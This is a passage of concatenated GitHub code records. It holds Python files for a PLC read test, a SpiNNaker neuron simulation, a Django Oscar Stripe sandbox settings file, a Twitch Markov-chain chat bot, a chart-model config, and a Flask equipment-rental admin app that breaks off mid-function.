TelefoonGids\nfrom SAS.models import SasManager, Company\n\n\n# VOORBEELD URL:\n# https://zoeken.kvk.nl/search.ashx?handelsnaam=&kvknummer=&straat=&postcode=9635AT&huisnummer=&plaats=&hoofdvestiging=1&rechtspersoon=1&nevenvestiging=1&zoekvervallen=0&zoekuitgeschreven=1&start=0&searchfield=uitgebreidzoeken&_=1565523624456\n\n\ndef main(prog_args):\n sas_manager = SasManager()\n telefoon_gids = TelefoonGids()\n\n companies = []\n # companies += search_kvk()\n companies.append(Company(name='Dacom', zip_code='7812HZ'))\n for company in companies:\n telefoon_gids.complement(company)\n sas_manager.add_companies(companies)\n sas_manager.save()\n\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv))\n","repo_name":"ceasaro/ceasaro_py","sub_path":"SAS/sas-companies.py","file_name":"sas-companies.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72533112729","text":"import pynodave.pynodavetcp\nimport pynodave.common\nimport pynodave.buffer\n\n\ntest = pynodave.pynodavetcp.PyNoDaveTCP()\n\ntest.connect(\"192.168.1.2\", 102, 0, 2)\n\ntest.read_bytes(pynodave.common.DaveArea.daveDB, 21, 0, 1)\nprint(test.get_u8())\n\nbuffer = pynodave.buffer.DaveBuffer(10)\n\ntest.read_bytes(pynodave.common.DaveArea.daveDB, 21, 0, 1, buffer)\nprint(test.get_u8(buffer))\n\ntest.disconnect()\n\n\n\n\n\n\n","repo_name":"fardragon/PyNoDave","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34109378129","text":"import spynnaker8 as sim\n\n\"\"\"\nCompare voltage values of SpiNNaker-supported PyNN neuron models\n\"\"\"\n\n# === Parameters ===============================================================\n\nn_neurons = 3 # number of neurons in each population for the Spiking Neural Network in this example\ntimestamp = 1.0 # simulate the network with 1.0 ms time steps\nsim_time = 100 # total simulation time\n\n# === Configure the simulator ==================================================\n\nsim.setup( timestamp )\n\n# === Build the network ========================================================\n\n# Presynaptic population - Input layer - Stimuli\npop_input = sim.Population( n_neurons, sim.SpikeSourcePoisson( rate = 100, duration = sim_time ),\n label = 'pop_input' )\n# Synapse value as weight = 5.0 nA, delay = 1 ms\nstatic_synapse = sim.StaticSynapse( weight = 5.0, delay = 1 )\n\n# I - IF_cond_exp Population\npop_cond_exp = sim.Population( n_neurons, sim.IF_cond_exp, {}, label = 'if_cond_exp' )\nsim.Projection( pop_input, pop_cond_exp, sim.OneToOneConnector(), synapse_type = static_synapse )\n\n# II - IF_curr_exp Population\npop_curr_exp = sim.Population( n_neurons, sim.IF_curr_exp, {}, label = 'if_curr_exp' )\nsim.Projection( pop_input, pop_curr_exp, sim.OneToOneConnector(), synapse_type = static_synapse )\n\n# III - IF_curr_alpha Population\npop_curr_alpha = sim.Population( n_neurons, sim.IF_curr_alpha, {}, label = 'if_curr_alpha' )\nsim.Projection( pop_input, pop_curr_alpha, sim.OneToOneConnector(), synapse_type = static_synapse )\n\n# IV - Izhikevich Population\npop_izhikevich = sim.Population( n_neurons, sim.Izhikevich, {}, label = 'izhikevich' )\nsim.Projection( pop_input, pop_izhikevich, sim.OneToOneConnector(), synapse_type = static_synapse )\n\n# == Instrument the network ====================================================\n\n# Record voltage values of each population.\npop_cond_exp.record( 'v' )\npop_curr_exp.record( 'v' )\npop_curr_alpha.record( 'v' )\npop_izhikevich.record( 'v' )\n\n# === Run the simulation =======================================================\n\nsim.run( sim_time )\n\n# === Plot the results =========================================================\n\nfrom util.basic_visualizer import *\nplot( [ pop_cond_exp, pop_curr_exp, pop_curr_alpha, pop_izhikevich ],\n \"Voltage Value Comparison of SpiNNaker-Supported PyNN Neuron Models\",\n \"Simulated with {}\".format( sim.name() ) )\n\n# === Clean up and quit ========================================================\n\nsim.end()\n","repo_name":"mervess/spynnaker-examples","sub_path":"compare_voltages.py","file_name":"compare_voltages.py","file_ext":"py","file_size_in_byte":2507,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"5311930136","text":"import os\n\n# Django settings for oscar project.\nPROJECT_DIR = os.path.dirname(__file__)\nlocation = lambda x: os.path.join(os.path.dirname(os.path.realpath(__file__)), x)\n\nDEBUG = True\nTEMPLATE_DEBUG = True\nSQL_DEBUG = True\n\nADMINS = (\n # ('Your Name', 'your_email@domain.com'),\n)\nEMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n\nMANAGERS = ADMINS\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3', # Add 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.\n 'NAME': location('db.sqlite'), # Or path to database file if using sqlite3.\n 'USER': '', # Not used with sqlite3.\n 'PASSWORD': '', # Not used with sqlite3.\n 'HOST': '', # Set to empty string for localhost. Not used with sqlite3.\n 'PORT': '', # Set to empty string for default. Not used with sqlite3.\n }\n}\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# On Unix systems, a value of None will cause Django to use the same\n# timezone as the operating system.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'Europe/London'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-us'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# If you set this to False, Django will not format dates, numbers and\n# calendars according to the current locale\nUSE_L10N = True\n\n# Absolute path to the directory that holds media.\n# Example: \"/home/media/media.lawrence.com/\"\nMEDIA_ROOT = location(\"public/media\")\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash if there is a path component (optional in other cases).\n# Examples: \"http://media.lawrence.com\", \"http://example.com/media/\"\nMEDIA_URL = '/media/'\n\n# URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a\n# trailing slash.\n# Examples: \"http://foo.com/media/\", \"/media/\".\n#ADMIN_MEDIA_PREFIX = '/media/admin/'\n\nSTATIC_URL = '/static/'\nSTATICFILES_DIRS = (location('static/'),)\nSTATIC_ROOT = location('public/static')\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = '$)a7n&o80u!6y5t-+jrd3)3!%vh&shg$wqpjpxc!ar&p#!)n1a'\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n# 'django.template.loaders.eggs.Loader',\n)\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n \"django.contrib.auth.context_processors.auth\",\n \"django.core.context_processors.request\",\n \"django.core.context_processors.debug\",\n \"django.core.context_processors.i18n\",\n \"django.core.context_processors.media\",\n \"django.core.context_processors.static\",\n \"django.contrib.messages.context_processors.messages\",\n # Oscar specific\n 'oscar.apps.search.context_processors.search_form',\n 'oscar.apps.promotions.context_processors.promotions',\n 'oscar.apps.checkout.context_processors.checkout',\n 'oscar.core.context_processors.metadata',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.transaction.TransactionMiddleware',\n 'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware',\n 'debug_toolbar.middleware.DebugToolbarMiddleware',\n 'oscar.apps.basket.middleware.BasketMiddleware',\n)\n\nINTERNAL_IPS = ('127.0.0.1',)\n\nROOT_URLCONF = 'urls'\n\nfrom oscar import OSCAR_MAIN_TEMPLATE_DIR\nTEMPLATE_DIRS = (\n location('templates'),\n OSCAR_MAIN_TEMPLATE_DIR,\n)\n\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error.\n# See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'verbose': {\n 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s'\n },\n 'simple': {\n 'format': '%(levelname)s %(message)s'\n },\n },\n 'handlers': {\n 'null': {\n 'level':'DEBUG',\n 'class':'django.utils.log.NullHandler',\n },\n 'console':{\n 'level':'DEBUG',\n 'class':'logging.StreamHandler',\n 'formatter': 'verbose'\n },\n 'mail_admins': {\n 'level': 'ERROR',\n 'class': 'django.utils.log.AdminEmailHandler',\n },\n },\n 'loggers': {\n 'django': {\n 'handlers':['null'],\n 'propagate': True,\n 'level':'INFO',\n },\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': False,\n },\n 'oscar.checkout': {\n 'handlers': ['console'],\n 'propagate': True,\n 'level':'INFO',\n },\n 'django.db.backends': {\n 'handlers':['null'],\n 'propagate': False,\n 'level':'DEBUG',\n },\n }\n}\n\n\nINSTALLED_APPS = [\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.admin',\n 'django.contrib.flatpages',\n 'django.contrib.staticfiles',\n # External apps\n 'django_extensions',\n 'debug_toolbar',\n 'oscar_stripe',\n 'south',\n]\nfrom oscar import get_core_apps\nINSTALLED_APPS += get_core_apps()\n\nAUTHENTICATION_BACKENDS = (\n 'oscar.apps.customer.auth_backends.Emailbackend',\n 'django.contrib.auth.backends.ModelBackend',\n)\n\nLOGIN_REDIRECT_URL = '/accounts/'\nAPPEND_SLASH = True\n\nDEBUG_TOOLBAR_CONFIG = {\n 'INTERCEPT_REDIRECTS': False\n}\n\n# Oscar settings\nfrom oscar.defaults import *\nOSCAR_ALLOW_ANON_CHECKOUT = True\n\n# Haystack settings\nHAYSTACK_CONNECTIONS = {\n 'default': {\n 'ENGINE': 'haystack.backends.simple_backend.SimpleEngine',\n },\n}\n\nOSCAR_SHOP_TAGLINE = 'Stripe sandbox'\n","repo_name":"django-oscar/django-oscar-stripe","sub_path":"sandbox/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":6672,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"31"} +{"seq_id":"7447997442","text":"#!/usr/bin/env python2\n\nimport random\nimport re\nimport redis\nimport time\n\nfrom irc import IRCBot, run_bot\nfrom twitch_emotes import translate_emote\nimport distdata\n\n\nclass MarkovBot(IRCBot):\n chain_length = 2\n chattiness = 0\n max_words = 30\n messages_to_generate = 5\n prefix = 'irc'\n separator = '\\x01'\n stop_word = '\\x02'\n filter_exps = [r'fuck', r'bitch', r'bitches', r'^http.*', r'^www.*']\n active_channels = distdata.active_channels\n unlimited_channels = distdata.unlimited_channels\n channel_timers = dict()\n cooldown = 60\n\n def __init__(self, *args, **kwargs):\n super(MarkovBot, self).__init__(*args, **kwargs)\n self.redis_conn = redis.Redis()\n\n self.filter_regs = []\n for exp in self.filter_exps:\n self.filter_regs.append(re.compile(exp, re.I))\n\n def make_key(self, k):\n return '-'.join((self.prefix, k))\n\n def sanitize_message(self, message):\n return re.sub('[\\\"\\']', '', message.lower())\n\n def split_message(self, message):\n words = message.split()\n \n if len(words) > self.chain_length:\n words.append(self.stop_word)\n\n for i in range(len(words) - self.chain_length):\n yield words[i:i + self.chain_length + 1]\n\n def is_bad_word(self, word):\n word = word.strip()\n for reg in self.filter_regs:\n if reg.match(word):\n return True\n return False\n\n def generate_message(self, seed):\n key = seed\n gen_words = []\n \n for i in xrange(self.max_words):\n words = key.split(self.separator)\n gen_words.append(translate_emote(words[0]))\n\n next_word = self.redis_conn.srandmember(self.make_key(key))\n\n counter = 0\n\n while next_word and self.is_bad_word(next_word):\n if counter > 100:\n next_word = None\n else:\n next_word = self.redis_conn.srandmember(self.make_key(key))\n counter += 1\n\n if not next_word:\n break\n\n key = self.separator.join(words[1:] + [next_word])\n\n return ' '.join(gen_words)\n\n def parse_message(self, message, say_something=False):\n messages = []\n\n for words in self.split_message(self.sanitize_message(message)):\n key = self.separator.join(words[:-1])\n self.redis_conn.sadd(self.make_key(key), words[-1])\n if say_something:\n best_message = ''\n for i in range(self.messages_to_generate):\n generated = self.generate_message(seed=key)\n if len(generated) > len(best_message):\n best_message = generated\n if best_message:\n messages.append(best_message)\n\n return messages\n\n def log(self, sender, message, channel):\n say_something = self.is_ping(message) or (sender != self.conn.nick and random.random() < self.chattiness)\n\n if channel not in self.active_channels and sender != 'oromit':\n say_something = False\n\n if message.startswith('/'):\n return\n\n if self.is_ping(message):\n message = self.fix_ping(message)\n\n messages = self.parse_message(message, say_something)\n\n if len(messages) and (channel not in self.channel_timers or channel in self.unlimited_channels or time.time() - self.channel_timers[channel] > self.cooldown):\n self.channel_timers[channel] = time.time()\n resmsg = random.choice(messages)\n print(\"In #%s: <%s> %s\" % (channel, sender, message))\n print(\"-> %s\" % resmsg)\n return resmsg\n\n def command_patterns(self):\n return (('.*', self.log),)\n\nif __name__ == \"__main__\":\n run_bot(MarkovBot, 'irc.chat.twitch.tv', 6667, distdata.nick, distdata.join_channels, distdata.password)\n\n","repo_name":"BtbN/VoldeBot","sub_path":"voldebot.py","file_name":"voldebot.py","file_ext":"py","file_size_in_byte":3952,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"29178255821","text":"from pathlib import Path\n\nPROMPT_TOKEN = \"<|BOS|>\"\nX_START = \"\"\nX_END = \"\"\nY_START = \"\"\nY_END = \"\"\n\nSEPARATOR_TOKENS = [\n PROMPT_TOKEN,\n X_START,\n X_END,\n Y_START,\n Y_END,\n]\n\nLINE_TOKEN = \"\" \nVERTICAL_BAR_TOKEN = \"\"\nHORIZONTAL_BAR_TOKEN = \"\"\nSCATTER_TOKEN = \"\"\nDOT_TOKEN = \"\"\n\nCHART_TYPE_TOKENS = [\n LINE_TOKEN,\n VERTICAL_BAR_TOKEN,\n HORIZONTAL_BAR_TOKEN,\n SCATTER_TOKEN,\n DOT_TOKEN,\n]\n\nNEW_TOKENS = SEPARATOR_TOKENS + CHART_TYPE_TOKENS\n\nclass Config:\n # General\n debug = False\n num_proc = 2\n num_workers = 2\n gpus = 2\n\n # Data\n data_dir = Path('/kaggle/input/benetech-making-graphs-accessible/train')\n images_path = data_dir/'images'\n train_json_files = list(data_dir.glob('annotations/*.json'))\n\n # Training\n epochs = 5\n val_check_interval = 1.0\n check_val_every_n_epoch = 1\n gradient_clip_val = 2.0\n lr = 2e-5\n lr_scheduler_type = \"cosine\"\n num_warmup_steps = 100\n seed = 42\n output_path = \"output\"\n log_steps = 200\n batch_size = 2\n use_wandb = True\n \n image_height = 512\n image_width = 512\n max_length = 1024\n","repo_name":"NavinKumarMNK/Benetech-Chart-Derendering","sub_path":"scripts/utils/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"72600102489","text":"from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_bcrypt import Bcrypt\nfrom flask_login import LoginManager\nfrom flask_mail import Mail\nimport ProWritingAidSDK\n\napp = Flask(__name__)\n\napp.secret_key = ''\napp.config['SQLALCHEMY_DATABASE_URI'] = 'n'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True\ndb = SQLAlchemy(app)\nbcrypt = Bcrypt(app)\nlogin_manager = LoginManager(app)\n\napp.config.update(dict(\n DEBUG = True,\n MAIL_SERVER = 'smtp.gmail.com',\n MAIL_PORT = 587,\n MAIL_USE_TLS = True,\n MAIL_USE_SSL = False,\n MAIL_USERNAME = '',\n MAIL_PASSWORD = '',\n))\nmail = Mail(app)\n\nconfiguration = ProWritingAidSDK.Configuration()\nconfiguration.host = 'https://api.prowritingaid.com'\nconfiguration.api_key['licenseCode'] = ''\n\nfrom datacollection import routes\n\n","repo_name":"annie-primera/datacollection_v2","sub_path":"datacollection/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42973947641","text":"import datetime\nfrom flask import Flask, current_app, flash, redirect, render_template, request, session, url_for, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_login import LoginManager, UserMixin, login_user, current_user\nfrom flask_migrate import Migrate\nimport os\nfrom sqlalchemy import desc\nfrom sqlalchemy.orm import aliased\nfrom werkzeug.security import check_password_hash\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\n\napp = Flask(__name__)\napp.secret_key = os.environ.get('SECRET_KEY')\n\n# Set up Flask-Login\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\n\n@login_manager.user_loader\ndef load_user(user_id):\n return db.session.get(Agents, user_id)\n\n\n# Configure the database\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://' + os.environ.get('DB_USER') + ':' + os.environ.get(\n 'DB_PASSWORD') + '@' + os.environ.get('DB_HOST') + ':' + os.environ.get('DB_PORT') + '/' + os.environ.get('DB_NAME')\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\n\n\nclass Company(db.Model):\n CompanyID = db.Column(db.Integer, primary_key=True, autoincrement=True)\n CompanyName = db.Column(db.String(255), nullable=False)\n customers = db.relationship('Customers', backref='company', lazy=True)\n\n\nclass AgentStatuses(db.Model):\n StatusID = db.Column(db.Integer, primary_key=True, autoincrement=True)\n StatusName = db.Column(db.String(255), nullable=False)\n agents = db.relationship('Agents', backref='status', lazy=True)\n\n\nclass CustomerStatuses(db.Model):\n StatusID = db.Column(db.Integer, primary_key=True, autoincrement=True)\n StatusName = db.Column(db.String(255), nullable=False)\n customers = db.relationship('Customers', backref='status', lazy=True)\n\n\nclass EquipmentStatuses(db.Model):\n StatusID = db.Column(db.Integer, primary_key=True, autoincrement=True)\n StatusName = db.Column(db.String(255), nullable=False)\n equipments = db.relationship('Equipment', backref='status', lazy=True)\n\n\nclass RentalStatuses(db.Model):\n StatusID = db.Column(db.Integer, primary_key=True, autoincrement=True)\n StatusName = db.Column(db.String(255), nullable=False)\n rentals = db.relationship('Rentals', backref='status', lazy=True)\n\n\nclass VehicleStatuses(db.Model):\n StatusID = db.Column(db.Integer, primary_key=True, autoincrement=True)\n StatusName = db.Column(db.String(255), nullable=False)\n vehicles = db.relationship('Vehicles', backref='status', lazy=True)\n\n\nclass Agents(UserMixin, db.Model):\n AgentID = db.Column(db.Integer, primary_key=True, autoincrement=True)\n AgentName = db.Column(db.String(255))\n AgentPassword = db.Column(db.String(255))\n StatusID = db.Column(db.Integer, db.ForeignKey('agent_statuses.StatusID'))\n updated_rentals = db.relationship('Rentals', primaryjoin=\"Agents.AgentID==Rentals.UpdatedByAgentID\", backref='updated_by_agent', lazy=True)\n\n\n def get_id(self):\n return str(self.AgentID) # Convert AgentID to string\n\n @property\n def is_active(self):\n # Assuming a StatusID of 1 indicates an active user\n return self.StatusID == 1\n\n @property\n def is_authenticated(self):\n # All logged-in users are authenticated\n return True\n\n @property\n def is_anonymous(self):\n # All users in the system are not anonymous\n return False\n\n\nclass Customers(db.Model):\n CustomerID = db.Column(db.Integer, primary_key=True, autoincrement=True)\n FirstName = db.Column(db.String(255))\n LastName = db.Column(db.String(255))\n Phone = db.Column(db.String(15))\n AltPhone = db.Column(db.String(15))\n Email = db.Column(db.String(255))\n Address = db.Column(db.String(255))\n City = db.Column(db.String(255))\n State = db.Column(db.String(255))\n Zip = db.Column(db.String(10))\n TDL = db.Column(db.String(20))\n TDLExpirationDate = db.Column(db.Date)\n InsuranceExpDate = db.Column(db.Date)\n LeaseAgreement = db.Column(db.Text)\n CustomerNote = db.Column(db.Text)\n StatusID = db.Column(db.Integer, db.ForeignKey(\n 'customer_statuses.StatusID'))\n UpdatedByAgentID = db.Column(db.Integer, db.ForeignKey('agents.AgentID'))\n rentals = db.relationship('Rentals', backref='customer', lazy=True)\n vehicles = db.relationship('Vehicles', backref='customer', lazy=True)\n CompanyID = db.Column(db.Integer, db.ForeignKey('company.CompanyID'))\n\n\nclass Equipment(db.Model):\n EquipmentID = db.Column(db.Integer, primary_key=True, autoincrement=True)\n EquipmentType = db.Column(db.String(255))\n Condition = db.Column(db.String(255))\n StatusID = db.Column(db.Integer, db.ForeignKey(\n 'equipment_statuses.StatusID'))\n UpdatedByAgentID = db.Column(db.Integer, db.ForeignKey('agents.AgentID'))\n rentals = db.relationship('Rentals', backref='equipment', lazy=True)\n\n\nclass Rentals(db.Model):\n RentalID = db.Column(db.Integer, primary_key=True, autoincrement=True)\n CustomerID = db.Column(db.Integer, db.ForeignKey('customers.CustomerID'))\n EquipmentID = db.Column(db.Integer, db.ForeignKey('equipment.EquipmentID'))\n RentalDate = db.Column(db.Date)\n ReturnDate = db.Column(db.Date)\n ReturnTime = db.Column(db.String(255))\n InternalNote = db.Column(db.Text)\n StatusID = db.Column(db.Integer, db.ForeignKey('rental_statuses.StatusID'))\n UpdatedByAgentID = db.Column(db.Integer, db.ForeignKey('agents.AgentID'))\n\n\nclass Vehicles(db.Model):\n VehicleID = db.Column(db.Integer, primary_key=True, autoincrement=True)\n CustomerID = db.Column(db.Integer, db.ForeignKey('customers.CustomerID'))\n VehicleModel = db.Column(db.String(255))\n VehicleMake = db.Column(db.String(255))\n # Year is represented as a string of length 4 in Flask-SQLAlchemy\n VehicleYear = db.Column(db.String(4))\n LicensePlate = db.Column(db.String(20))\n StatusID = db.Column(db.Integer, db.ForeignKey(\n 'vehicle_statuses.StatusID'))\n UpdatedByAgentID = db.Column(db.Integer, db.ForeignKey('agents.AgentID'))\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if request.method == 'POST':\n username = request.form.get('username')\n password = request.form.get('password')\n\n # Query the database to find the agent\n agent = Agents.query.filter_by(AgentName=username).first()\n\n # If the agent exists and the password matches, log them in\n if agent and check_password_hash(agent.AgentPassword, password):\n login_user(agent)\n session['username'] = username # update session\n flash('Logged in successfully.')\n return redirect(url_for('modals'))\n\n flash('Invalid username or password.')\n return redirect(url_for('login'))\n\n # If the request method is 'GET', serve the login page\n elif request.method == 'GET':\n return render_template('index.html') # render 'login.html'\n\n\n@app.route('/')\ndef index():\n if not current_user.is_authenticated:\n return redirect(url_for('login'))\n return render_template('index.html') # render the index page with no data\n\n##############################################################################################################################################################################################################################\n# LOGIN #\n##############################################################################################################################################################################################################################\n\n\n@app.route('/display', methods=['GET'])\ndef display_data():\n if not current_user.is_authenticated:\n return redirect(url_for('login'))\n\n query = db.session.query(\n Customers.CustomerID,\n Customers.FirstName,\n Customers.LastName,\n Customers.Email,\n Customers.Address,\n Customers.Phone,\n Customers.AltPhone,\n Customers.TDL,\n Customers.TDLExpirationDate,\n Customers.InsuranceExpDate,\n Equipment.EquipmentType,\n Rentals.ReturnDate,\n Rentals.ReturnTime,\n Rentals.InternalNote,\n Customers.CustomerNote\n ).join(Rentals, Customers.CustomerID == Rentals.CustomerID\n ).join(Equipment, Rentals.EquipmentID == Equipment.EquipmentID\n # Only select Customers with StatusID equals to 1 (Active customers)\n ).filter(Customers.StatusID == 1\n # Only select Rentals with StatusID equals to 1 (Active Rental)\n ).filter(Rentals.StatusID == 1\n ).order_by(Customers.CustomerID.desc()).all()\n\n # Create a list of dictionaries to hold the data for each row\n data = []\n for row in query:\n item = {\n 'CustomerID': row.CustomerID,\n 'FirstName': row.FirstName,\n 'LastName': row.LastName,\n 'Email': row.Email,\n 'Address': row.Address,\n 'Phone': row.Phone,\n 'AltPhone': row.AltPhone,\n 'TDL': row.TDL,\n # adjust the format as necessary\n 'TDLExpirationDate': row.TDLExpirationDate.strftime('%Y-%m-%d'),\n 'InsuranceExpDate': row.InsuranceExpDate,\n 'EquipmentType': row.EquipmentType,\n 'ReturnDate': row.ReturnDate,\n 'ReturnTime': row.ReturnTime, # adjust the format as necessary\n 'InternalNote': row.InternalNote,\n 'CustomerNote': row.CustomerNote\n }\n data.append(item)\n\n return render_template('display.html', data=data)\n\n\n##############################################################################################################################################################################################################################\n# DISPLAY #\n##############################################################################################################################################################################################################################\n\n@app.route('/modals', methods=['GET'])\ndef modals():\n if not current_user.is_authenticated:\n return redirect(url_for('login'))\n\n customers_query = db.session.query(\n Customers.CustomerID,\n Customers.FirstName,\n Customers.LastName,\n Customers.Email,\n Customers.Phone,\n Customers.AltPhone,\n Customers.Address,\n Customers.City,\n Customers.State,\n Customers.Zip,\n Customers.TDL,\n Customers.TDLExpirationDate,\n Customers.InsuranceExpDate,\n Customers.CustomerNote,\n CustomerStatuses.StatusName\n ).join(\n CustomerStatuses, CustomerStatuses.StatusID == Customers.StatusID\n ).order_by(Customers.CustomerID.desc()).all()\n\n customers_data = []\n for row in customers_query:\n item = {\n 'CustomerID': row.CustomerID,\n 'FirstName': row.FirstName,\n 'LastName': row.LastName,\n 'Email': row.Email,\n 'Phone': row.Phone,\n 'AltPhone': row.AltPhone,\n 'Address': row.Address,\n 'City': row.City,\n 'State': row.State,\n 'Zip': row.Zip,\n 'TDL': row.TDL,\n 'TDLExpirationDate': row.TDLExpirationDate,\n 'InsuranceExpDate': row.InsuranceExpDate,\n 'CustomerNote': row.CustomerNote,\n 'StatusName': row.StatusName, # Changed from StatusID to StatusName\n }\n customers_data.append(item)\n\n equipment_query = db.session.query(\n Equipment.EquipmentID,\n Equipment.EquipmentType,\n Equipment.Condition,\n Equipment.StatusID,\n EquipmentStatuses.StatusName,\n ).join(\n EquipmentStatuses, Equipment.StatusID == EquipmentStatuses.StatusID\n ).all()\n\n equipment_data = []\n for row in equipment_query:\n item = {\n 'EquipmentID': row.EquipmentID,\n 'EquipmentType': row.EquipmentType,\n 'Condition': row.Condition,\n 'StatusID': row.StatusID,\n 'EquipmentStatusName': row.StatusName,\n }\n equipment_data.append(item)\n\n rental_query = db.session.query(\n Rentals.RentalID,\n Customers.CustomerID,\n Customers.FirstName,\n Customers.LastName,\n Equipment.EquipmentType,\n Equipment.StatusID.label('EquipmentStatusID'),\n Rentals.StatusID.label('RentalsStatusID'),\n Rentals.RentalDate,\n Rentals.ReturnDate,\n Rentals.ReturnTime,\n Rentals.InternalNote\n ).join(Customers, Customers.CustomerID == Rentals.CustomerID\n ).join(Equipment, Equipment.EquipmentID == Rentals.EquipmentID\n # Only select Customers with StatusID equals to 2 (Active customers)\n ).filter(Customers.StatusID == 2\n # Only select Rentals with StatusID equals to 2 (Active Rental)\n ).filter(Rentals.StatusID == 3\n ).order_by(Rentals.RentalID.desc()).all()\n\n rental_data = []\n for row in rental_query:\n item = {\n 'RentalID': row.RentalID,\n 'CustomerID': row.CustomerID, # Including the CustomerID in the item\n 'FirstName': row.FirstName,\n 'LastName': row.LastName,\n 'EquipmentType': row.EquipmentType,\n 'EquipmentStatusID': row.EquipmentStatusID,\n 'RentalDate': row.RentalDate,\n 'ReturnDate': row.ReturnDate,\n 'ReturnTime': row.ReturnTime,\n 'InternalNote': row.InternalNote,\n 'RentalsStatusID': row.RentalsStatusID,\n }\n rental_data.append(item)\n\n vehicles_query = db.session.query(\n Vehicles.VehicleID,\n Customers.CustomerID,\n Vehicles.VehicleModel,\n Vehicles.VehicleMake,\n Vehicles.VehicleYear,\n Vehicles.LicensePlate,\n Vehicles.StatusID,\n ).join(Customers, Customers.CustomerID == Vehicles.CustomerID\n ).order_by(Vehicles.VehicleID.desc()).all()\n\n vehicles_data = []\n for row in vehicles_query:\n item = {\n 'VehicleID': row.VehicleID,\n 'CustomerID': row.CustomerID,\n 'VehicleModel': row.VehicleModel,\n 'VehicleMake': row.VehicleMake,\n 'VehicleYear': row.VehicleYear,\n 'LicensePlate': row.LicensePlate,\n 'StatusID': row.StatusID\n }\n vehicles_data.append(item)\n\n return render_template('modals.html', customers_data=customers_data, equipment_data=equipment_data, rental_data=rental_data, vehicles_data=vehicles_data)\n\n##############################################################################################################################################################################################################################\n# TAABLES #\n##############################################################################################################################################################################################################################\n\n\n@app.route('/printedPage/')\ndef printable_page(customer_id):\n customer_id = int(customer_id) # Convert to integer\n # This will return 404 if customer not found\n customer = Customers.query.get_or_404(customer_id)\n\n # We can get customer status name directly from the customer object due to defined relationship\n status_name = customer.status.StatusName\n\n # Fetch equipment type for this customer's rentals\n # We assume the customer has only one rental. If the customer can have multiple rentals,\n # this code needs to be modified to handle that\n rental = Rentals.query.filter_by(CustomerID=customer_id).first()\n if rental is not None:\n equipment_type = rental.equipment.EquipmentType\n else:\n equipment_type = None # or some default value\n\n # Pass the data to the template\n return render_template('printedPage.html', row=customer, StatusName=status_name, EquipmentType=equipment_type)\n\n\n##############################################################################################################################################################################################################################\n# Printed Page #\n##############################################################################################################################################################################################################################\n\n\n@app.route('/update_customer/', methods=['PUT'])\ndef update_customer(id):\n if not current_user.is_authenticated:\n return jsonify({'error': 'Not authenticated'}), 401\n\n # Get the customer from the database\n customer = Customers.query.get(id)\n\n if not customer:\n # If the customer was not found, return an error\n return jsonify({'error': 'Customer not found'}), 404\n\n # Get the updated data from the request\n data = request.get_json()\n\n # Update the customer data\n for key, value in data.items():\n setattr(customer, key, value)\n\n try:\n # Save the changes to the database\n db.session.commit()\n return jsonify({'message': 'Customer data updated successfully'})\n except Exception as e:\n db.session.rollback() # Rollback the changes on error\n print(e) # print the error to the console\n return 